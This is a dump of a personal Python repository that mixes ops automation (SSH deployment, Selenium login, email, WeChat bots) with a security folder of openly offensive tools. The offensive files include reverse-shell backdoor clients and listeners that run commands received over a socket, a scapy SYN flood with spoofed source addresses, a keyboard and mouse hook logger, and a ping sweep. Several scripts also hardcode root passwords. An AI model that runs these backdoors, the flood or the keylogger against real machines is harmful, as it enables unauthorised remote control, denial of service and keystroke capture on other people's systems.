"-{op}".format(op=get_os()), 24 | "1", ip_str] 25 | output = os.popen(" ".join(cmd)).readlines() 26 | 27 | flag = False 28 | for line in list(output): 29 | if not line: 30 | continue 31 | if str(line).upper().find("TTL") >= 0: 32 | flag = True 33 | break 34 | if flag: 35 | print "ip: %s is ok ***" % ip_str 36 | 37 | 38 | def find_ip(ip_prefix): 39 | ''''' 40 | 给出当前的127.0.0 ,然后扫描整个段所有地址 41 | ''' 42 | for i in range(1, 256): 43 | ip = '%s.%s' % (ip_prefix, i) 44 | thread.start_new_thread(ping_ip, (ip,)) 45 | time.sleep(0.3) 46 | 47 | 48 | if __name__ == "__main__": 49 | print "start time %s" % time.ctime() 50 | commandargs = sys.argv[1:] 51 | args = "".join(commandargs) 52 | 53 | ip_prefix = '.'.join(args.split('.')[:-1]) 54 | find_ip(ip_prefix) 55 | print "end time %s" % time.ctime() 56 | -------------------------------------------------------------------------------- /Network_security/NetCat/netcat.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import sys 6 | import socket 7 | import getopt 8 | import threading 9 | import subprocess 10 | 11 | 12 | # 定义全局变量 13 | listen = False 14 | command = False 15 | upload = False 16 | execute = "" 17 | target = "" 18 | upload_destination = "" 19 | port = "" 20 | 21 | def usage(): 22 | print("BHP NET TOOL") 23 | print 24 | print("Usage: bhpnet -t target_host -p port") 25 | print("-l --listen") 26 | -------------------------------------------------------------------------------- /Network_security/Network_base/Tcp_client.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import socket 5 | 6 | target_host = "0.0.0.0" 7 | target_port = 9999 8 | 9 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | 11 | client.connect((target_host, target_port)) 12 | 13 | client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") 14 | 15 | response = client.recv(4096) 16 | 17 | print(response) 18 | -------------------------------------------------------------------------------- /Network_security/Network_base/Tcp_server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import socket 5 | import threading 6 | 7 | bind_ip = "0.0.0.0" 8 | bind_port = 9999 9 | 10 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | 12 | server.bind((bind_ip, bind_port)) 13 | 14 | server.listen(5) 15 | 16 | print("[*] Listening on %s:%d" %(bind_ip, bind_port)) 17 | 18 | def handle_client(client_socket): 19 | request = client_socket.recv(1024) 20 | 21 | print(request) 22 | client_socket.send("ACK!") 23 | client_socket.close() 24 | 25 | while True: 26 | client, addr = server.accept() 27 | 28 | print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1])) 29 | 30 | client_handler = threading.Thread(target=handle_client, args=(client,)) 31 | client_handler.start() -------------------------------------------------------------------------------- /Network_security/Network_base/Udp.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import socket 6 | 7 | target_host = "www.baidu.com" 8 | target_port = 80 9 | 10 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | 12 | client.sendto("AAAAAAAAAAA", (target_host,target_port)) 13 | 14 | data, addr = client.recvfrom(4096) 15 | 16 | print(data) -------------------------------------------------------------------------------- /Network_security/Network_port/scan_port.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import socket 6 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | sk.settimeout(1) 8 | try: 9 | sk.connect(('www.sharejs.com',80)) 10 | print 'Server port 80 OK!' 11 | except Exception: 12 | print 'Server port 80 not connect!' 13 | sk.close() -------------------------------------------------------------------------------- /Network_security/PC_security/mk.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | import pythoncom 5 | import pyHook 6 | 7 | 8 | def onMouseEvent(event): 9 | # 监听鼠标事件 10 | print "MessageName:", event.MessageName 11 | print "Message:", event.Message 12 | print "Time:", event.Time 13 | print "Window:", event.Window 14 | print "WindowName:", event.WindowName 15 | print "Position:", event.Position 16 | print "Wheel:", event.Wheel 17 | print "Injected:", event.Injected 18 | print 19 | "---" 20 | return True 21 | 22 | def onKeyboardEvent(event): 23 | print "MessageName:", event.MessageName 24 | print "Message:", event.Message 25 | print "Time:", event.Time 26 | print "Window:", event.Window 27 | print "WindowName:", event.WindowName 28 | print "Ascii:", event.Ascii, chr(event.Ascii) 29 | print "Key:", event.Key 30 | print "KeyID:", event.KeyID 31 | print "ScanCode:", event.ScanCode 32 | print "Extended:", event.Extended 33 | print "Injected:", event.Injected 34 | print "Alt", event.Alt 35 | print "Transition", event.Transition 36 | print"---" 37 | # 同鼠标事件监听函数的返回值 38 | return True 39 | 40 | def main(): 41 | # 创建一个“钩子”管理对象 42 | hm = pyHook.HookManager() 43 | # 监听所有键盘事件 44 | hm.KeyDown = onKeyboardEvent 45 | # 设置键盘“钩子” 46 | hm.HookKeyboard() 47 | # 监听所有鼠标事件 48 | hm.MouseAll = onMouseEvent 49 | # 设置鼠标“钩子” 50 | hm.HookMouse() 51 | # 进入循环,如不手动关闭,程序将一直处于监听状态 52 | pythoncom.PumpMessages() 53 | 54 | if __name__ == "__main__": 55 | main() -------------------------------------------------------------------------------- /Network_security/SSH_attack/paramiko_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import paramiko 6 | import threading 7 | import subprocess 8 | 9 | 10 | def ssh_command(ip, user, passwd, command): 11 | client = paramiko.SSHClient() 12 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 13 | client.connect(ip, username=user, password=passwd) 14 | ssh_session = client.get_transport().open_session() 15 | if ssh_session.active(): 16 | ssh_session.exec_command(command) 17 | print(ssh_session.revc(1024)) 18 | return 19 | 20 | 21 | ssh_command('10.0.20.192', "root", "daemon", "ls") 22 | 23 | -------------------------------------------------------------------------------- /Network_security/TCP_backdoor/Quick_Tcp.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | ''' 4 | 快速搭建一个TCP客户端 5 | ''' 6 | 7 | __author__ = 'lau.wenbo' 8 | 9 | import socket 10 | 11 | target_host = "www.baidu.com" 12 | 13 | target_port = 80 14 | 15 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | 17 | client.connect((target_host,target_port)) 18 | 19 | client.send("GET / HTTP1.1\r\host:baidu.com\r\n\r\n") 20 | 21 | response = client.recv(4096) 22 | 23 | print response -------------------------------------------------------------------------------- /Network_security/TCP_backdoor/attack_tcp.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import socket, subprocess as sp, sys 6 | 7 | host = str(sys.argv[1]) 8 | port = int(sys.argv[2]) 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | 12 | s.bind((host, port)) 13 | s.listen(100) 14 | conn, addr = s.accept() 15 | 16 | 17 | print "[+] Connection Established from: %s " %(str(addr[0])) 18 | 19 | while 1: 20 | command = raw_input("#> ") 21 | 22 | if command != "exit()": 23 | if command == "": continue 24 | 25 | conn.send(command) 26 | result = conn.recv(1024) 27 | 28 | total_size = long(result[:16]) 29 | result = result[16:] 30 | 31 | while total_size > len(result): 32 | data = conn.recv(1024) 33 | result += data 34 | 35 | print result.rstrip("\n") 36 | 37 | else: 38 | conn.send("exit()") 39 | print "[+] shell Going Down" 40 | break 41 | 42 | s.close() -------------------------------------------------------------------------------- /Network_security/TCP_backdoor/ddos_attack.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import random 5 | import socket 6 | import time 7 | from scapy.all import * 8 | 9 | def synFlood(tgt, dPort): 10 | srcList = ['11.1.1.2', '22.1.1.102', '33.1.1.2', '125.130.5.199'] 11 | 12 | for sPort in range(1024, 65535): 13 | index = random.randrange(4) 14 | ipLayer = IP(src=srcList[index], dst=tgt) 15 | tcpLayer = TCP(sport=sPort, dport=dPort, flags='S') 16 | packet = ipLayer / tcpLayer 17 | send(packet) 18 | 19 | 20 | dPort = 80 21 | synFlood("10.0.6.201", dPort) -------------------------------------------------------------------------------- /Network_security/TCP_backdoor/reverseTcp.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | import socket, subprocess as sp, sys 6 | 7 | host = str(sys.argv[1]) 8 | port = int(sys.argv[2]) 9 | 10 | conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | conn.connect((host,port)) 12 | 13 | while 1: 14 | command = str(conn.recv(1024)) 15 | 16 | if command != "exit()": 17 | sh = sp.Popen(command, shell=True, 18 | stdout=sp.PIPE, 19 | stderr=sp.PIPE, 20 | stdin=sp.PIPE) 21 | 22 | out, err = sh.communicate() 23 | 24 | result = str(out) + str(err) 25 | 26 | length = str(len(result)).zfill(16) 27 | 28 | conn.send(length + result) 29 | 30 | else: 31 | break 32 | 33 | conn.close() 34 | 35 | -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j-fix.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j-fix.rar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-1.2-api-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-1.2-api-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-api-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-api-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-core-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-core-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-slf4j-impl-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-slf4j-impl-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-slf4j18-impl-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-slf4j18-impl-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-to-slf4j-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-to-slf4j-2.17.0.jar -------------------------------------------------------------------------------- /Network_security/log4j-fix/log4j2-17/log4j-web-2.17.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Network_security/log4j-fix/log4j2-17/log4j-web-2.17.0.jar -------------------------------------------------------------------------------- /Operation/Selenium_Test_work/Create_work.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | -------------------------------------------------------------------------------- /Operation/Selenium_Test_work/Start_chrome.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | ''' 6 | 开启一个谷歌浏览器 7 | ''' 8 | 9 | from selenium import webdriver 10 | import time 11 | 12 | 13 | browser = webdriver.Chrome() 14 | 15 | browser.get("http://10.0.9.28/#/login") 16 | 17 | time.sleep(2) 18 | 19 | # print(browser.page_source) 20 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[1]/input').send_keys("admin") 21 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[2]/input').send_keys("123456") 22 | # browser.find_element_by_type("text").send_keys("123456") 23 | # browser.find_element_by_name("password").send_keys("123456") 24 | 25 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[2]/span[2]').click() 26 | 27 | time.sleep(2) 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /Operation/Selenium_Test_work/debug.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Operation/Selenium_Test_work/debug.log -------------------------------------------------------------------------------- /Operation/Selenium_Test_work/login.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | from selenium import webdriver 7 | import time 8 | 9 | 10 | browser = webdriver.Chrome() 11 | 12 | browser.get("http://10.0.9.28/#/login") 13 | 14 | time.sleep(2) 15 | 16 | 17 | # 输入帐号密码 18 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[1]/input').send_keys("admin") 19 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[2]/input').send_keys("123456") 20 | 21 | # 点击登录 22 | browser.find_element_by_xpath('//*[@id="app"]/div/div/div/div[3]/div/div[2]/span[2]/span[2]').click() 23 | 24 | browser.close() 25 | 26 | time.sleep(2) -------------------------------------------------------------------------------- /Operation/back/back_up.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Operation/back/back_up.tar.gz -------------------------------------------------------------------------------- /Operation/back/install.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | class ssh_work: 7 | def __init__(self, hostname, username, daemon): 8 | self.hostname = hostname 9 | self.username = username 10 | self.password = daemon 11 | self.port = 22 12 | 13 | def ssh_work(self, command): 14 | import paramiko 15 | ssh = paramiko.SSHClient() 16 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 17 | ssh.connect(hostname=self.hostname, port=self.port, username=self.username, password=self.password) 18 | stdin, stdout, stderr = ssh.exec_command(command) 19 | print stderr.read() 20 | ssh.close() 21 | 22 | 23 | def install(self): 24 | z = "tar -zxvf /root/back/back_up.tar.gz" 25 | back_up = self.ssh_work(z) 26 | print back_up 27 | 28 | def transmission(self, node): 29 | z = "scp -r back_up root@{node}:/root".format(node=node) 30 | transmission = self.ssh_work(z) 31 | print(transmission) 32 | 33 | 34 | if __name__=='__main__': 35 | ip = raw_input(" Enter the current hostaname :") 36 | send_ip = raw_input(" Enter the hotsname to install, separated by commas: ") 37 | ips = send_ip.split(",") 38 | user = raw_input(" enter one user name: ") 39 | password = raw_input(" Input password: ") 40 | z = ssh_work(ip, user, password) 41 | z.install() 42 | for i in ips: 43 | z.transmission(i) 44 | 45 | -------------------------------------------------------------------------------- /Operation/back/python-paramiko-2.1.1-5.el7.noarch.rpm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Operation/back/python-paramiko-2.1.1-5.el7.noarch.rpm -------------------------------------------------------------------------------- /Operation/back_up/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" -------------------------------------------------------------------------------- /Operation/back_up/tool/Node_back_up.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Operation/back_up/tool/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" -------------------------------------------------------------------------------- /Operation/back_up/tool/ip.json: -------------------------------------------------------------------------------- 1 | { 2 | "clear_ip":[ 3 | "10.0.6.214" 4 | ], 5 | "add_ip": "10.0.6.214,10.0.6.215,10.0.6.216" 6 | } -------------------------------------------------------------------------------- /Operation/back_up/tool/service.json: -------------------------------------------------------------------------------- 1 | { 2 | "INFI_SERVER": 3 | [ 4 | "systemctl restart infi-api", 5 | "systemctl restart infi-rpc", 6 | "systemctl restart csync2", 7 | "systemctl restart infi-monitor" 8 | ] 9 | } 10 | -------------------------------------------------------------------------------- /Operation/back_up/tool/setting.json: -------------------------------------------------------------------------------- 1 | { 2 | "INFINITY": 3 | [ 4 | "/etc/passwd", 5 | "/etc/shadow", 6 | "/etc/group", 7 | "/etc/gshadow", 8 | "/etc/pureftpd.passwd", 9 | "/etc/pureftpd.pdb", 10 | "/etc/user.pwd.digest", 11 | "/etc/samba", 12 | "/etc/resolv.conf", 13 | "/etc/dt.d/cnas.conf", 14 | "/etc/sysconfig/ctdb", 15 | "/etc/sysconfig/nfs", 16 | "/etc/ctdb/nodes", 17 | "/etc/ctdb/public_addresses", 18 | "/etc/nsswitch.conf", 19 | "/etc/hosts", 20 | "/etc/csync2.key", 21 | "/etc/krb5.conf", 22 | "/etc/exports", 23 | "/etc/sysdb", 24 | "/etc/csync2.cfg", 25 | "/etc/netatalk/afp.conf", 26 | "/etc/ntp.conf" 27 | ] 28 | } 29 | -------------------------------------------------------------------------------- /Operation/balance/simple_balance.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | import requests 7 | import random 8 | import os 9 | import sys 10 | import time 11 | import ConnectionError 12 | import Module_bException 13 | 14 | module_b = "10.10.10.115:10081,10.10.10.115:10082,10.10.10.115:10083,10.10.10.115:10084" 15 | 16 | class Module_b(): 17 | 18 | def __init__(self): 19 | self.url_prefix = [val.strip() for val in module_b.split(',')] 20 | 21 | def _request(self, short_uri, payload): 22 | res = None 23 | try_count = 1 24 | url_prefixs = self.url_prefix[:] 25 | url_prefixs.sort(key=lambda f: random.randint(0, 100)) 26 | 27 | for curr_url_prefix in url_prefixs: 28 | url = os.path.join(curr_url_prefix, short_uri) 29 | try: 30 | res = requests.post(url, data=payload) 31 | break 32 | except ConnectionError as e: 33 | try_count += 1 34 | sys.stderr.write('can not connect to Module_b, retry ...\n') 35 | time.sleep(1) 36 | if try_count == len(url_prefixs): 37 | raise e 38 | if res.status_code != 200: 39 | raise Module_bException('HTTP ERROR: %s' % res.text) 40 | result = res.json() 41 | if result['status'] != '0': 42 | raise Module_bException(result['errstr']) 43 | return result['result'] -------------------------------------------------------------------------------- /Operation/email/create_email.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | from email.mime.text import MIMEText 7 | from email.header import Header 8 | from smtplib import SMTP_SSL 9 | 10 | 11 | #qq邮箱smtp服务器 12 | host_server = 'smtp.qq.com' 13 | #sender_qq为发件人的qq号码 14 | sender_qq = 'xxxxxxxxxxxx@qq.com' 15 | #pwd为qq邮箱的授权码 16 | pwd = 'xxxxxxxxxxx' 17 | #发件人的邮箱 18 | sender_qq_mail = 'xxxxxxxx@qq.com' 19 | #收件人邮箱 20 | receivers = ['1xxxxxxxxxx@163.com'] 21 | 22 | #邮件的正文内容 23 | mail_content = 'Hello!Testing' 24 | #邮件标题 25 | mail_title = 'Email邮件测试' 26 | 27 | 28 | #ssl登录 29 | smtp = SMTP_SSL(host_server) 30 | #set_debuglevel()是用来调试的。参数值为1表示开启调试模式,参数值为0关闭调试模式 31 | smtp.set_debuglevel(1) 32 | smtp.ehlo(host_server) 33 | smtp.login(sender_qq, pwd) 34 | 35 | msg = MIMEText(mail_content, "plain", 'utf-8') 36 | msg["Subject"] = Header(mail_title, 'utf-8') 37 | msg["From"] = sender_qq_mail 38 | msg["To"] = Header("接收者测试", 'utf-8') ## 接收者的别名 39 | smtp.sendmail(sender_qq_mail, receivers, msg.as_string()) 40 | smtp.quit() -------------------------------------------------------------------------------- /Operation/install_file/get_iso.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | 5 | import paramiko 6 | 7 | def info(): 8 | hostname = '10.1.101.186' 9 | username = 'root' 10 | password = '123456' 11 | port = 22 12 | 13 | ssh = paramiko.SSHClient() 14 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 15 | ssh.connect(hostname=hostname, port=port, username=username, password=password) 16 | stdin, stdout, stderr = ssh.exec_command("cd /root/paramiko;mkdir lxy") 17 | print stdout.readlines() 18 | ssh.close() 19 | 20 | def install(): 21 | commands = ("bash ./install.sh") -------------------------------------------------------------------------------- /Operation/rsync/rsyc.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | 6 | import commands 7 | import re 8 | import sys 9 | 10 | 11 | def execute(cmd): 12 | (status, output) = commands.getstatusoutput(cmd) 13 | return (status, output) 14 | 15 | 16 | def work(copydir, mountdir): 17 | (_, z) = execute("cat /proc/mounts") 18 | try: 19 | check_dir = copydir.split("/")[1] 20 | reobj = re.search(check_dir, z).group(0) 21 | print "mount! next!" 22 | resy = execute("rsync -artogpclDP {mountdir} {copydir}".format(mountdir=mountdir, copydir=copydir)) 23 | print "end rsync! exit" 24 | except: 25 | print "not mount" 26 | exit() 27 | 28 | 29 | if __name__ == "__main__": 30 | mountdir = sys.argv[1] 31 | copydir = sys.argv[2] 32 | work(copydir, mountdir) 33 | -------------------------------------------------------------------------------- /Operation/server_scp/download_file_server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import paramiko 7 | import os 8 | 9 | 10 | HOST_IP = "10.0.6.214" 11 | REMOTE_PATH = '/home' 12 | REMOTE_FILENAME = 'lwb' 13 | LOCAL_PATH = './proc' 14 | USERNAME = 'root' 15 | PASSWORD = '123456' 16 | 17 | 18 | 19 | def remote_scp(host_ip, remote_path, local_path, file_name, username, password): 20 | t = paramiko.Transport(host_ip, 22) 21 | # 登陆远程服务器 22 | t.connect(username=username, password=password) 23 | # sftp传输协议 24 | sftp = paramiko.SFTPClient.from_transport(t) 25 | src = remote_path + '/' + file_name 26 | des = local_path + '/' + file_name 27 | sftp.get(src, des) 28 | t.close() 29 | 30 | 31 | 32 | if not os.path.isdir(LOCAL_PATH): 33 | os.makedirs(LOCAL_PATH) 34 | 35 | if not os.path.isfile(LOCAL_PATH + '/' + REMOTE_FILENAME): 36 | fp = open(LOCAL_PATH + '/' + REMOTE_FILENAME, 'w') 37 | fp.close() 38 | 39 | 40 | if __name__ == "__main__": 41 | remote_scp(HOST_IP,REMOTE_PATH,LOCAL_PATH,REMOTE_FILENAME,USERNAME,PASSWORD) -------------------------------------------------------------------------------- /Operation/server_scp/thread_ssh.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | from multiprocessing import Pool 6 | import os 7 | import ssh 8 | 9 | def service(ip): 10 | z = ssh.ssh_work(ip) 11 | # z.status_es() 12 | z.install_infinity() 13 | # z.unisntall_infinity() 14 | # z.install_infinity() 15 | # z.restart_es() 16 | # z.restart_api_server() 17 | if __name__=='__main__': 18 | 19 | # ip_list = ["10.0.7.31","10.0.7.45","10.0.7.78","10.0.7.82","10.0.7.85"] 20 | # ip_list = ["10.0.7.31","10.0.7.45","10.0.7.65","10.0.7.68","10.0.7.78"] 21 | ip_list = ['10.0.7.31','10.0.7.45','10.0.7.65','10.0.7.68','10.0.7.78'] 22 | # ip_list = ['10.0.7.11','10.0.7.12','10.0.7.13',"10.0.7.18","10.0.7.20","10.0.7.24","10.0.7.25","10.0.7.26","10.0.7.27","10.0.7.28","10.0.7.29","10.0.7.30", 23 | # "10.0.7.31","10.0.7.32","10.0.7.33","10.0.7.37","10.0.7.38","10.0.7.40","10.0.7.41"] 24 | print('Parent process %s.' % os.getpid()) 25 | p = Pool(3) 26 | for i in ip_list: 27 | print(i) 28 | p.apply_async(service, args=(i,)) 29 | print('Waiting for all subprocesses done...') 30 | p.close() 31 | p.join() 32 | print('All subprocesses done.') -------------------------------------------------------------------------------- /Operation/system_info/system_info.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | import psutil 7 | 8 | 9 | # 获取CPU完整信息 10 | print psutil.cpu_times() 11 | # 获取单项数据信息,如用户User和CPU时间比 12 | print psutil.cpu_times().user 13 | # 获取CPU个数 14 | print psutil.cpu_count() 15 | # 获取CPU物理个数 16 | print psutil.cpu_count(logical=True) 17 | # 获取内存信息 18 | mem = psutil.virtual_memory() 19 | # 获取内存总数 20 | print mem.total 21 | # 获取空闲内存数 22 | print mem.free 23 | # 获取swpa分区信息 24 | print psutil.swap_memory() -------------------------------------------------------------------------------- /Operation/wecheat_rebot/iceht_tulin.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import requests 6 | import itchat 7 | 8 | KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxx" 9 | def get_response(msg): 10 | apiUrl = 'http://www.tuling123.com/openapi/api' 11 | data = { 'key' : KEY, 12 | 'info' : msg, 13 | 'userid' : 'wechat-rebot'} 14 | try: 15 | r = requests.post(apiUrl, data =data).json() 16 | return r.get('text') 17 | except: 18 | return 19 | 20 | @itchat.msg_register(itchat.content.TEXT) 21 | def tuling_reply(msg): 22 | defaultReply = 'I received: ' + msg['Text'] 23 | reply = get_response(msg['Text']) 24 | return reply or defaultReply 25 | itchat.auto_login(hotReload=True) 26 | itchat.run() 27 | 28 | -------------------------------------------------------------------------------- /Operation/wecheat_rebot/rebot.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import itchat, time 6 | from itchat.content import * 7 | 8 | @itchat.msg_register([TEXT, MAP, CARD, NOTE, SHARING]) 9 | def text_reply(msg): 10 | if "?" in msg.text: 11 | msg.user.send(u'什么啊?') 12 | else: 13 | msg.user.send(u'%s' % (msg.text)) 14 | 15 | @itchat.msg_register([PICTURE, RECORDING, ATTACHMENT, VIDEO]) 16 | def download_files(msg): 17 | msg.download(msg.fileName) 18 | typeSymbol = { 19 | PICTURE: 'img', 20 | VIDEO: 'vid', }.get(msg.type, 'fil') 21 | return '@%s@%s' % (typeSymbol, msg.fileName) 22 | 23 | @itchat.msg_register(FRIENDS) 24 | def add_friend(msg): 25 | msg.user.verify() 26 | msg.user.send('Nice to meet you!') 27 | 28 | @itchat.msg_register(TEXT, isGroupChat=True) 29 | def text_reply(msg): 30 | if msg.isAt: 31 | msg.user.send(u'@%s\u2005I received: %s' % ( 32 | msg.actualNickName, msg.text)) 33 | 34 | itchat.auto_login(True) 35 | itchat.run(True) -------------------------------------------------------------------------------- /Operation/wecheat_rebot/wecheat.md: -------------------------------------------------------------------------------- 1 | # 微信机器人 2 | 1. 微信自动回复机器人 3 | 2. 对接了外部微信机器人 -------------------------------------------------------------------------------- /Python_safe/BackDoor/README.md: -------------------------------------------------------------------------------- 1 | # 后门程序的原理 2 | 需要一个server端,一个client端,server接受client发送的消息,类似于RPC框架 -------------------------------------------------------------------------------- /Python_safe/BackDoor/client.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | # 客户端,这个部署在其他机器上 6 | 7 | import socket, subprocess 8 | 9 | HOST = '127.0.0.1' 10 | PORT = 11443 11 | 12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | s.connect((HOST, PORT)) 14 | s.send("[*] Connect Established") 15 | 16 | while 1: 17 | data = s.recv(1024) 18 | if data == "quit": 19 | break 20 | proc = subprocess.Popen(data, shell=True, stdot=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 21 | stdou_value = proc.stdout.read() + proc.stderr.read() 22 | s.send(stdou_value) 23 | s.close() 24 | -------------------------------------------------------------------------------- /Python_safe/BackDoor/server.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | from socket import * 6 | 7 | HOST = "" 8 | PORT = 11443 9 | 10 | 11 | s = socket(AF_INET, SOCK_STREAM) 12 | s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 13 | s.bind((HOST, PORT)) 14 | s.listen(10) 15 | 16 | conn, addr = s.accept() 17 | print("Connectd by", addr) 18 | daa = conn.recv(1024) 19 | while 1: 20 | command = input("Enter shell command or quit: ") 21 | conn.send(command) 22 | if command == "quit": 23 | break 24 | data = conn.recv(1024) 25 | print(data) 26 | 27 | conn.close() -------------------------------------------------------------------------------- /Python_safe/Get_IP.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | # 更新一个关联IP的脚本 7 | 8 | import pygeoip 9 | 10 | gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') 11 | 12 | 13 | def printRecord(tgt): 14 | rec = gi.record_by_addr(tgt) 15 | city = rec['city'] 16 | region = rec['city'] 17 | country = rec['country_name'] 